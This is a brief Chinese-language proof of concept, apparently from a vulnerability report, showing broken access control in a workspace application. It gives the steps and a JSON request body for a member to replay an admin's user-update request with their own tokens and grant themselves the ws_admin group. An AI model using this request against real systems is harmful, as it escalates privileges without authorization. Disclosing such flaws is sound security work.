Proof of Concept

1 user1 是workspace1的空间管理员

2 user2 是workspace1的成员

3 user1 更新user2的信息，比如将其更新为空间管理员

4 使用burpsuite拦截请求

{"id":"user2","name":"user2","email":"[email protected]","phone":null,"groupIds":["ws_admin"],"workspaceId":"bd6fc04b-15af-43dc-8cb6-411deaec81a7"}

5 将上述请求中的CSRF-TOKEN和X-AUTH-TOKEN替换成user2的，即以user2的身份执行请求

6 发现执行结果成功，即普通用户可以执行管理员才能执行的update
